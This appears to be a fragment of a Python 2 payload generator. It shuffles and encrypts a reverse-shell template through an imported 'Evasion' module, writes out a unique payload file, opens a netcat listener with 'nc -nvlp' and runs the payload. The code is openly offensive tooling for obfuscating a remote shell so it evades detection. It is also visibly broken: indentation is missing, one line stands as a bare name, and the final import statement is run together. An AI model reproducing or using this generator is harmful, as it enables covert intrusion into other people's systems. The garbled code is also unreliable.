def main():
decryptKey = generateKey()
decryptIV = generateIV()
code = read_template()
template_reverse_shell
payloadNoEncrypt = template_reverse_shell.splitlines()
shuffledPayload = commandSegmentationTech(payloadNoEncrypt)
# writableLines = convertIntoLines(shuffledPayload)
l_encrypted = cryptor(shuffledPayload, decryptKey, decryptIV)
outfile = writeUniquePayload(code, l_encrypted, decryptKey, decryptIV)
print red("DEBUG: Shuffled payload\r\n{}".format(str(shuffledPayload)))
out = b64encode(l_encrypted)
print yellow("DEBUG: Encrypted payload\r\n{}".format(str(out)))
print green("DEBUG: Payload generated at\r\n{}".format(str(outfile)))
rp = open(outfile, 'rb+')
uniquePayload = rp.read()
print red("DEBUG: Contents of {}\r\n".format(str(outfile)))
print yellow(uniquePayload)
print cyan("Opening netcat session")
os.system("""gnome-terminal -e 'bash -c "nc -nvlp {}"'""".format(
str(LPORT)))
print green("You may run the payload with\r\npython {}".format(
str(outfile)))
time.sleep(2)
print green("Executing payload")
os.system("python {}".format(str(outfile)))
return
import Evasion from Evasion import readPayloadTemplate,findIndexValue, commandSegmentationTech,reconstituteLine,reconstitutePayload,template_reverse_shell payloadNoEncrypt = template_reverse_shell.splitlines() shuffledPayload = commandSegmentationTech(payloadNoEncrypt) reconstitutePayload(shuffledPayload)